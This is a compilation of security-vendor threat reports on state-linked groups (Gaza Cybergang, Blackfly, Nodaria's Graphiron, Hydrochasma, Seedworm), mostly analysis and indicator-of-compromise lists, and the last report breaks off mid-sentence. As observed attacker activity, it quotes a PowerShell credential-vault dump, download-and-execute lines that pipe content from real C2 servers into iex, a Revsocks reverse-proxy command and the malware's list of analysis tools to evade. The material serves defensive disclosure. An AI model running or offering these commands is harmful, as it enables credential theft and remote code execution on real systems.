Palestinian +individuals and entities. Without making a concrete attribution at the time, the campaign was +loosely associated with the Gaza Cybergang, noting some links to Arid Viper in particular. +The Big Bang campaign involves the use of a C++ implant, assessed to be an upgraded +version of older Micropsia variants. In addition to some similarities in execution flow and +structure, we observed that the backdoors used in the Big Bang and Bearded Barbie +campaigns share unique strings that report the execution status and/or indicate internal +references to malware modules. +10/14 +The BarbWire samples used as part of Operation Bearded Barbie are reported to implement +a custom base64 algorithm (cit.) to obfuscate strings. The backdoor does not implement +changes to the Base64 encoding algorithm itself, but modifies Base64 strings by adding an +extra character that is removed before decoding. String decoding of BarbWire strings in this +way reveals exact matches between BarbWire and the backdoor observed in the Big Bang +campaign. +Backdoor string matches +In contrast to BarbWire, BigBang backdoor samples obfuscate the same strings present in +BarbWire using Base64-encoding only. The malware authors have likely introduced the +Base64 string modification technique in later malware development efforts (reflected in +Operation Bearded Barbie), as a relatively simple but effective attempt to evade detection +based on known string artifacts. +This technique also allows for quick changes of the modified Base64 strings by only +changing the second character to keep evading detection over time. For example, both of the +strings IZERvZXMgbm90IGV4aXN0Lg and IHERvZXMgbm90IGV4aXN0Lg Base64-decode to +Does not exist. + once the second character is removed. +Conclusions +Gaza Cybergang operations over 2022 and 2023 reveal a sustained focus on targeting +Palestinian entities. The discovery of the Pierogi++ backdoor shows that the group continues +to evolve and supplement its staple malware arsenal, including transforming older +implementations into new tooling. +11/14 +The intertwined nature of its constituent sub-groups sharing TTPs, malware, and victims, +indicates that Gaza Cybergang is a unified front against anti-Hamas interests. The persistent +nature of the Gaza Cybergang threat underscores the necessity for sustained vigilance and +cooperative measures to address the challenges posed by these threat actors. +SentinelLabs continues to monitor Gaza Cybergang activities to further improve the +collective knowledge on the group +s dynamics and to supply indicators, which are relevant to +security teams defending their organizations and individuals at risk of being targeted. +Indicators of Compromise +SHA-1 Hashes +003bb055758a7d687f12b65fc802bac07368335e +Micropsia family malware +19026b6eb5c1c272d33bda3eab8197bec692abab +Micropsia family malware +20c10d0eff2ef68b637e22472f14d87a40c3c0bd +Pierogi backdoor +26fe41799f66f51247095115f9f1ff5dcc56baf8 +TA402 malware staging executable +(2022 version) +278565e899cb48138cc0bbc482beee39e4247a5d +Pierogi backdoor +2a45843cab0241cce3541781e4e19428dcf9d949 +Micropsia family malware +32d0073b8297cc8350969fd4b844d80620e2273a +Document distributing Pierogi++ +3ae41f7a84ca750a774f777766ccf4fd38f7725a +Document distributing Pierogi++ +42cb16fc35cfc30995e5c6a63e32e2f9522c2a77 +Pierogi++ +4dcdb7095da34b3cef73ad721d27002c5f65f47b +BarbWire backdoor +5128d0af7d700241f227dd3f546b4af0ee420bbc +Pierogi++ +5619e476392c195ba318a5ff20e40212528729ba +Micropsia family malware +599cf23db2f4d3aa3e19d28c40b3605772582cae +Pierogi backdoor +5e46151df994b7b71f58556c84eeb90de0776609 +Document distributing Pierogi++ +5fcc262197fe8e0f129acab79fd28d32b30021d7 +WIRTE PowerShell script +60480323f0e6efa3ec08282650106820b1f35d2f +Archive distributing Pierogi++ +694fa6436302d55c544cfb4bc9f853d3b29888ef +BarbWire backdoor +12/14 +708f05d39df7e47aefc4b15cb2db9f26bc9fad5f +TA402 malware staging executable +(2022 version) +745657b4902a451c72b4aab6cf00d05895bbc02f +Micropsia family malware +75a63321938463b8416d500b34a73ce543a9d54d +Pierogi++ +95fc3fb692874f7415203a819543b1e0dd495a57 +Micropsia family malware +994ebbe444183e0d67b13f91d75b0f9bcfb011db +Operation Big Bang backdoor +aeeeee47becaa646789c5ee6df2a6e18f1d25228 +Pierogi++ +c3038d7b01813b365fd9c5fd98cd67053ed22371 +Micropsia family malware +da96a8c04edf8c39d9f9a98381d0d549d1a887e8 +Pierogi++ +ee899ae5de50fdee657e04ccd65d76da7ede7c6f +Operation Big Bang backdoor +f3e99ec389e6108e8fda6896fa28a4d7237995be +Pierogi++ +Domains +aracaravan[.]com +Pierogi++ C2 server +beatricewarner[.]com +Pierogi++ C2 server +bruce-ess[.]com +Micropsia C2 server +claire-conway[.]com +Micropsia C2 server +delooyp[.]com +Micropsia C2 server +escanor[.]live +Pierogi backdoor C2 server +izocraft[.]com +Micropsia C2 server +jane-chapman[.]com +Micropsia C2 server +lindamullins[.]info +Operation Big Bang backdoor C2 server +nicoledotson[.]icu +Pierogi backdoor C2 server +overingtonray[.]info +Pierogi backdoor C2 server +porthopeminorhockey[.]net +Micropsia C2 server +spgbotup[.]club +Operation Big Bang backdoor C2 server +stgeorgebankers[.]com +WIRTE C2 server +13/14 +swsan-lina-soso[.]info +Pierogi++ C2 server +theconomics[.]net +TA402 C2 server +wanda-bell[.]website +BarbWire C2 server +wayne-lashley[.]com +Micropsia C2 server +zakaria-chotzen[.]info +Pierogi++ C2 server +14/14 +Blackfly: Espionage Group Targets Materials Technology +symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackfly-espionage-materials +The Blackfly espionage group (aka APT41, Winnti Group, Bronze Atlas) has continued to +mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian +conglomerate, both of which operate in the materials and composites sector, suggesting that +the group may be attempting to steal intellectual property. +Current Blackfly toolset +The following tools were used in attacks during late 2022 and early 2023: +Backdoor.Winnkit +SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 +SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a +SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 +SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac +SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 +SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 +Rootkit driver known to be associated with Blackfly +Credential-dumping tool +SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c +Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin. +Screenshotting tool +SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 +Screenshots all open windows and saves them as .jpg files. +Process-hollowing tool +SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e +Injects shellcode in C:\Windows\system32\svchost.exe -k +LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message. +SQL tool +SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d +SQL client tool used to query SQL databases. +Mimikatz +SHA256: +560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a +SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c +Publicly available credential-dumping tool. +ForkPlayground +SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 +Proof-of-Concept application to create a memory dump of an arbitrary process using +the ForkLib. +Proxy configuration tool +SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f +SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee +SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f +Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k +LocalSystemNetworkRestricted. +Proxy configuration tool +SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 +SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 +This tool requires a file called conf.dat to run properly, located at: +c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings. +Longstanding APT group +Blackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active +since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast +(Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad +(Backdoor.Shadowpad) malware families. The group initially made a name for itself through +attacks on the computer gaming industry. It subsequently branched out into targeting a more +diverse range of targets, including organizations in the semiconductor, telecoms, materials +manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, +fintech, and food sectors. +Blackfly has been closely associated with a second Chinese APT group known as Grayfly, so +much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of +seven men on charges relating to hundreds of cyber attacks carried out by both groups +appeared to shed light on this link. Two Chinese nationals were alleged to have worked with +both groups. A crossover in personnel may account for the similarities between both groups. +Undeterred +Despite being the subject of a U.S. indictment, Blackfly has continued to mount attacks, +seemingly undeterred by the publicity afforded to the group. Although it originally made a +name for itself by attacking the gaming sector, the group appears focused on targeting +intellectual property in a variety of sectors at present. +Protection/Mitigation +For the latest protection updates, please visit the Symantec Protection Bulletin. +Indicators of Compromise +If an IOC is malicious and the file available to us, Symantec Endpoint products will detect +and block that file. +cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a +Backdoor.Winnkit +e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 +Backdoor.Winnkit +a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac +Backdoor.Winnkit +714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 +Backdoor.Winnkit +192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 +Backdoor.Winnkit +caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 +Backdoor.Winnkit +452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 + Screenshotting +tool +1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e + Processhollowing tool +4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d + SQL tool +560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a + Mimikatz +b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c + Mimikatz +a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 +ForkPlayground +5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f + Proxy +configuration tool +d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee + Proxy +configuration tool +f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f + Proxy +configuration tool +88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 + Proxy +configuration tool +498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 + Proxy +configuration tool +100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c + Credentialdumping tool +Graphiron: New Russian Information Stealing Malware Deployed Against +Ukraine +symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nodaria-ukraine-infostealer +Russia-linked Nodaria group has deployed a new threat designed to steal a wide range +of information from infected computers. +The Nodaria espionage group (aka UAC-0056) is using a new piece of information stealing malware against targets in +Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information +from the infected computer, including system information, credentials, screenshots, and files. +The earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 +and it is reasonable to assume that it remains part of the Nodaria toolkit. +Graphiron functionality +Graphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload +(Infostealer.Graphiron). +The downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check +against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1. +Process names +BurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, +HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, +RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, +dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, +idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, +procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, +scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg +Table 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with +specific names +If no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before +adding it to autorun. +The downloader is configured to run just once. If it fails to download and install the payload it won +t make further +attempts nor send a heartbeat. +Graphiron uses AES encryption with hardcoded keys. It creates temporary files with the ".lock" and ".trash" +extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe +and MicrosoftOfficeDashboard.exe +The payload is capable of carrying out the following tasks: +Reads MachineGuid +Obtains the IP address from https://checkip.amazonaws.com +Retrieves the hostname, system info, and user info +Steals data from Firefox and Thunderbird +Steals private keys from MobaXTerm. +Steals SSH known hosts +Steals data from PuTTY +Steals stored passwords +Takes screenshots +Creates a directory +Lists a directory +Runs a shell command +Steals an arbitrary file +Password theft is carried out using the following PowerShell command: +[void] +[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault += New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() | % { $_.RetrievePassw +ord();$_} | Select UserName, Resource, Password | Format-Table +HideTableHeaders +The following command was used to export the list of PuTTY sessions: +"CSIDL_SYSTEM\reg.exe" query HKCU\Software\SimonTatham\Putty\Sessions +Similarity to older tools +Graphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant. GraphSteel is designed +to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. +Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys. +In addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and +communications are encrypted using the AES cipher. +Malware +version +Internal +name +Obfuscation +Libraries used +Infostealer.Graphiron +1.18 +jcmturner/aescts, buger/jsonparser, golang/protobuf, +kbinani/screenshot, lxn/win, mattn/go-sqlite, +tidwall/gjson, anmitsu/go-shlex +Downloader.Graphiron +1.18 +jcmturner/aescts +GraphSteel +1.16 +Elephant +buger/jsonparser, aglyzov/charmap, +denisbrodbeck/machineid, gorilla/websocket, +jcmturner/aescts, matn/go-sqlite, tidwall/gjson +GrimPlant +1.16 +Elephant +jcmturner/aescts, denisbrodbeck/machineid, +golang/protobuf, kbinani/screenshot, lxn/win, +anmitsu/go-shlex +Table 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant) +Nodaria +Nodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in +Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. +Third-party reporting has also linked the group to attacks on Georgia. +The group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian +government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the +malware would overwrite the portion of the hard drive responsible for launching the operating system when the +machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the +WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid. +The group +s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to +targets. Custom tools used by the group to date include: +Elephant Dropper: A dropper +Elephant Downloader: A downloader +SaintBot: A downloader +OutSteel: Information stealer +GrimPlant (aka Elephant Implant): Collects system information and maintains persistence +GraphSteel (aka Elephant Client): Information stealer +Like Graphiron, many of Nodaria +s earlier tools were written in Go. Graphiron appears to be the latest piece of +malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel +and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development. +While Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group +s high-level activity over +the past year suggests that it is now one of the key players in Russia +s ongoing cyber campaigns against Ukraine. +Protection/Mitigation +For the latest protection updates, please visit the Symantec Protection Bulletin. +Indicators of Compromise +If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. +SHA-256: +0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 + Downloader.Graphiron +878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db + Downloader.Graphiron +80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 + Infostealer.Graphiron +eee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 + Infostealer.Graphiron +f0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 + Infostealer.Graphiron +f86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce + Infostealer.Graphiron +Network: +208.67.104[.]95 + C&C server +Hydrochasma: Previously Unknown Group Targets +Medical and Shipping Organizations in Asia +symantec-enterprise-blogs.security.com/blogs/threat-intelligence/hydrochasma-asia-medical-shipping-intelligencegathering +Shipping companies and medical laboratories in Asia are being targeted in a likely +intelligence-gathering campaign that relies exclusively on publicly available and living-offthe-land tools. +Hydrochasma, the threat actor behind this campaign, has not been linked to any previously +identified group, but appears to have a possible interest in industries that may be involved in +COVID-19-related treatments or vaccines. +This activity has been ongoing since at least October 2022. While Symantec, by Broadcom +Software, did not see any data being exfiltrated in this campaign, the targets, as well as some +of the tools used, indicate that the most likely motivation in this campaign is intelligence +gathering. +Attack Chain +The infection vector used by Hydrochasma was most likely a phishing email. The first +suspicious activity seen on machines is a lure document with a file name in the victim +organization +s native language that appears to indicate it was an email attachment: +[TRANSLATED FROM THE ORIGINAL] Product Specification-Freight-Company +Qualification Information wps-pdf Export.pdf.exe +Another lure document appears to be mimicking a resume: +[TRANSLATED FROM THE ORIGINAL] [REDACTED] University-Development +Engineer.exe +Following initial access on one machine, the attackers were seen dropping Fast Reverse +Proxy (FRP), a tool that can expose a local server that is sitting behind an NAT or firewall to +the internet. This drops a legitimate Microsoft Edge update file: +%TEMP%\MicrosoftEdgeUpdate.exe +Another file, %TEMP%\msedgeupdate.dll, is then seen on victim machines. But this file is +actually Meterpreter, a tool that is part of the Metasploit framework and which can be used +for remote access. +Other tools that were subsequently seen on this victim +s network included: +Gogo scanning tool: An automated scanning engine originally designed for use by +red teams. +Process Dumper (lsass.exe): A tool that allows attackers to dump domain +passwords. +Cobalt Strike Beacon: An off-the-shelf tool that can be used to execute commands, +inject other processes, elevate current processes, or impersonate other processes, and +upload and download files. It ostensibly has legitimate uses as a penetration testing tool +but is invariably exploited by malicious actors. +AlliN scanning tool: A pentesting scan tool that can be used for lateral penetration of +the intranet. +Fscan: A publicly available hacktool that can scan for open ports and more. +Dogz proxy tool: A free VPN proxy tool. +A shellcode loader and a corrupted portable executable (PE) file were also deployed on this +victim +s network. +Other tactics, techniques, and procedures (TTPs) observed being used in this campaign +included: +SoftEtherVPN: The presence of this tool was what first prompted Symantec +researchers to investigate this activity. It is free, open-source, and cross-platform VPN +software. +Procdump: Microsoft Sysinternals tool for monitoring an application for CPU spikes +and generating crash dumps, but which can also be used as a general process dump +utility. +BrowserGhost: A publicly available tool that can grab passwords from an internet +browser. +Gost proxy: A tunneling tool. +Ntlmrelay: An NTLM relay attack allows an attacker to intercept validated +authentication requests in order to access network services. +Task Scheduler: Allows tasks to be automated on a computer. +Go-strip: Used to make a Go binary smaller in size. +HackBrowserData: An open-source tool that can decrypt browser data. +The tools deployed by Hydrochasma indicate a desire to achieve persistent and stealthy +access to victim machines, as well as an effort to escalate privileges and spread laterally +across victim networks. +While Symantec researchers didn +t observe data being exfiltrated from victim machines, +some of the tools deployed by Hydrochasma do allow for remote access and could potentially +be used to exfiltrate data. The sectors targeted also point towards the motivation behind this +attack being intelligence gathering. +The lack of custom malware used in this attack is also notable. Relying exclusively on livingoff-the-land and publicly available tools can help make an attack stealthier, while also +making attribution more difficult. Symantec did not see evidence to link this activity to a +known actor, prompting us to create the new actor identity of Hydrochasma for those behind +this activity. +Protection/Mitigation +For the latest protection updates, please visit the Symantec Protection Bulletin. +Indicators of Compromise +If an IOC is malicious and the file available to us, Symantec Endpoint products will detect +and block that file. +File Indicators +SHA256 +409f89f4a00e649ccd8ce1a4a08afe03cb5d1c623ab54a80874aebf09a9840e5 + Fast Reverse +Proxy +47d328c308c710a7e84bbfb71aa09593e7a82b707fde0fb9356fb7124118dc88 + GoGo +Scanning Tool +6698a81e993363fab0550855c339d9a20a25d159aaa9c4b91f60bb4a68627132 + Dropper +7229bd06cb2a4bbe157d72a3734ba25bc7c08d6644c3747cdc4bcc5776f4b5b9 + Process +Dumper (lsass.exe) +72885373e3e8404f1889e479b3d46dd8111280379c4065bfc1e62df093e42aba + Fast Reverse +Proxy +72bc8b30df3cdde6c58ef1e8a3eae9e7882d1abe0b7d4810270b5a0cc077bb1a + Cobalt Strike +Beacon +7b410fa2a93ed04a4155df30ffde7d43131c724cdf60815ee354988b31e826f8 + Fast Reverse +Proxy +7f0807d40e9417141bf274ef8467a240e20109a489524e62b090bccdb4998bc6 + Process +Dumper (lsass.exe) +8c0f0d1acb04693a6bdd456a6fcd37243e502b21d17c8d9256940fc7943b1e9a + Cobalt Strike +Beacon +8e32ea45e1139b459742e676b7b2499810c3716216ba2ec55b77c79495901043 + Fast Reverse +Proxy +981e5f7219a2f92a908459529c42747ac5f5a820995f66234716c538b19993eb + GoGo +Scanning Tool +9ebd789e8ca8b96ed55fc8e95c98a45a61baea3805fd440f50f2bde5ffd7a372 + Fast Reverse +Proxy +9f5f7ba7d276f162cc32791bfbaa0199013290a8ac250eb95fd90bc004c3fd36 + Cobalt Strike +Beacon +a0f5966fcc64ce2d10f24e02ae96cdc91590452b9a96b3b1d4a2f66c722eec34 + AllIn Scanning +Tool +cb03b5d517090b20749905a330c55df9eb4d1c6b37b1b31fae1982e32fd10009 + Fscan +d1c4968e7690fd40809491acc8787389de0b7cbc672c235639ae7b4d07d04dd4 + Shellcode +Loader +de01492b44372f2e4e38354845e7f86e0be5fb8f5051baafd004ec5c1567039f + Cobalt Strike +Beacon +e378d8b5a35d4ec75cae7524e64c1d605f1511f9630c671321ee46aa7c4d378b + PE File +eba22f50eedfec960fac408d9e6add4b0bd91dd5294bee8cff730db53b822841 + Dropper +fc4b5f2ee9da1fe105bb1b7768754d48f798bf181cbc53583387578a5ebc7b56 + Dogz Proxy +Tool +02fe00ffd1b076983f3866c04ca95c56cef88c2564fabb586e11e54986e87ba7 +084d1fc4236011d442801e423485c8e58f68dc14ec0a8b716fa0fd210de43dda +1744fac628262aa0cf3810bd5168375959be41764c8ca2fa41950a7b1f8f2fad +1d087f6a17227769bcebc799a2cdf1bb2a8fdf6ba560d21a88bb71f1c213a42c +327fc116f8f48f97292184bb50cb3db418f368b3e2a0fb41267ba40254a35a89 +3516f94b0fb57e93c6659d813cbf5fb3617dea7a667c78cb70a1914306327906 +41b6d26926706bb68530ddff234f69757e3bbef91c47eb0255313ed86cb3f806 +44223e5abd106c077908f03c93b8c8baee7d630f1718f9750f16b786cf88fd06 +553e0763cf3a938b5754c9d89939a118abe0b235e4be6920c34f562bd758e586 +5a62abc0a2208679e414cc71d1f36ffa14b48df2b73ac520e45d557ad77dd004 +6770f815480d7cfa0a6fc8599c08ca6013f608d257a2121233e77374e21c53f8 +6cb815863088a0ad367b2a525a572323600596f6875a79536aee57202ef24fd5 +6f017ad84d0d06f50b6213a0742838b5ec510f3d06f96e0300048f2da6a35c41 +7394ab0ed6d1f62e83fc5f8f1eb720ddd07cbd2bcdf6a00b9b63ef6018fa5f90 +7800a4fb0cbdf29815c521ea8b00a23e28d7eb365653f2afcfb5572622727218 +7f6a1d6950a9464f27d8651a267563d4630d223bf7ac66851917a57f8fac6550 +84502fbe3e5172c39e9a97734e6caac79255abffcb55c22752620d908ff33940 +916b63b88de2549c4a5c8e13d51df4cf6996067ae30f24c8bb35c66db7c061df +968b28f7d6abb845f2cc7efa93cdcf7660585e22d589267695726de13afea260 +9e8b5a84ad108a761619ca040788dcbf07996a9101cecc5c30ba61f9a06945c1 +b53d0a43ea91b3c80bc6c87c0c6946816c38876b2cb2f6f772afe94c54d3ad30 +b5c4f420067499522b748a34161ad6e140a7f30ab0b8fa63feef760c5e631679 +d0ae66022929c17f31ddf98d88817f0aa70a56ce2ff2df9595b8889c2d3d7e31 +d92c50a91bd5b2f06f41a9a5f9937e50b78658d46e3cd04bc3a85f270ce288c2 +dc3b714fd6f93c0c0cd2685b6b8cd551896855474bdd09593b8c6b4b7ab6bac2 +e7684a4984d9d82115c5cc1b43b9f63a11e7ed333a4e2d92dc15b6e931634bf4 +ebc3dabf0a2dafb0790be6dbb4d3509b5ce1259b955172910618a32627b3b668 +ee9aefde33ed48d16ecb1c41256fc7d93ddfa8bedfa59b95e8810282ac164d0d +f35b206fe10ad3f57d9c4ecf71a2d2cc06d7c7fe905e567b989f72f147da99dc +f73738e6e33286657cda81f618a74b74745590915a8f4451e7c00473cbe89e1d +fc8a67b80b0b0ecd10dfd90820ffc64923b94c32b04dbb6929a79b9ce027563c +ffdcf74968805e9cc897ca932e4da0f22ea7b3e9b96fcc9082c0c5300ae4cb0d +Network Indicators +39.101.194[.]61 + Cobalt Strike Beacon C&C +47.92.138[.]241 + Cobalt Strike Beacon C&C +106.14.184[.]148 +180.119.234[.]147 +Domains +alidocs.dingtalk[.]com.wswebpic[.]com + Cobalt Strike Beacon C&C +csc.zte[.]com.cn.wswebpic[.]com + Cobalt Strike Beacon C&C +taoche[.]cn.wswebpic[.]com + Cobalt Strike Beacon C&C +URLs +hxxp://47.92.138[.]241:8090/update.exe +hxxp://47.92.138[.]241:8000/agent.exe +hxxp://47.92.138[.]241:8000/update.exe +hxxp://47.92.138[.]241:8000/ff.exe +hxxp://47.92.138[.]241:8000/aa.exe +hxxp://47.92.138[.]241:8000/runas.exe +hxxp://47.92.138[.]241:8090/a.exe +hxxp://47.92.138[.]241:8000/t.exe +hxxp://47.92.138[.]241:8000/po.exe +hxxp://47.92.138[.]241:8080/t.exe +hxxp://47.92.138[.]241:8899/t.exe +hxxp://47.92.138[.]241:8000/logo.png +hxxp://47.92.138[.]241:8080/t.png +hxxp://47.92.138[.]241:8000/frp.exe +About the Author +Threat Hunter Team +Symantec +The Threat Hunter Team is a group of security experts within Symantec whose mission is to +investigate targeted attacks, drive enhanced protection in Symantec products, and offer +analysis that helps customers respond to attacks. +Seedworm: Iranian Hackers Target Telecoms Orgs in +North and East Africa +symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms +Iranian espionage group Seedworm (aka Muddywater) has been targeting organizations +operating in the telecommunications sector in Egypt, Sudan, and Tanzania. +Seedworm has been active since at least 2017, and has targeted organizations in many +countries, though it is most strongly associated with attacks on organizations in the Middle +East. It has been publicly stated that Seedworm is a cyberespionage group that is believed +to be a subordinate part of Iran +s Ministry of Intelligence and Security (MOIS). +The attackers used a variety of tools in this activity, which occurred in November 2023, +including leveraging the MuddyC2Go infrastructure, which was recently discovered and +documented by Deep Instinct. Researchers on Symantec +s Threat Hunter Team, part of +Broadcom, found a MuddyC2Go PowerShell launcher in the activity we investigated. +The attackers also use the SimpleHelp remote access tool and Venom Proxy, which have +previously been associated with Seedworm activity, as well as using a custom keylogging +tool, and other publicly available and living-off-the-land tools. +Attack Chain +The attacks in this campaign occurred in November 2023. Most of the activity we observed +occurred on one telecommunications organization. The first evidence of malicious activity +was some PowerShell executions related to the MuddyC2Go backdoor. +A MuddyC2Go launcher named +vcruntime140.dll + was saved in the folder +csidl_common_appdata\javax +, which seems to have been sideloaded by jabswitch.exe. +Jabswitch.exe is a legitimate Java Platform SE 8 executable. +The MuddyC2Go launcher executed the following PowerShell code to connect to its +command-and-control (C&C) server: +tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp;$tppmjy +fiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp="tppmjyfiqnqp +trfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp";$uri +="http://95.164.38.99:443/HR5rOv8enEKonD4a0UdeGXD3xtxWix2Nf";$response = +Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex +$response.Content; +It appears that the variables at the beginning of the code are there for the purposes of +attempting to bypass detection by security software, as they are unused and not relevant. +Right after this execution, attackers launched the MuddyC2Go malware using a scheduled +task that had previously been created: +"CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun" +The attackers also used some typical commands related to the Impacket WMIExec hacktool: +cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1698662615.0451615 2>&1 +The SimpleHelp remote access tool was also leveraged, connecting to the 146.70.124[.]102 +C&C server. Further PowerShell stager execution also occurred, while the attacker also +executed the Revsocks tool: +CSIDL_COMMON_APPDATA\do.exe -co 94.131.3.160:443 -pa super -q +The attackers also used a second legitimate remote access tool, AnyDesk, which was +deployed on the same computer as Revsocks and SimpleHelp, while PowerShell executions +related to MuddyC2Go also occurred on the same machine: +$uri ="http://45.150.64.39:443/HJ3ytbqpne2tsJTEJi2D8s0hWo172A0aT";$response = +Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex +$response.Content; +Notably, this organization is believed to have previously been infiltrated by Seedworm earlier +in 2023. The primary activity of note during that intrusion was extensive use of SimpleHelp to +carry out a variety of activity, including: +Launching PowerShell +Launching a proxy tool +Dumping SAM hives +Using WMI to get drive info +Installing the JumpCloud remote access software +Delivering proxy tools, a suspected LSASS dump tool, and a port scanner. +During that 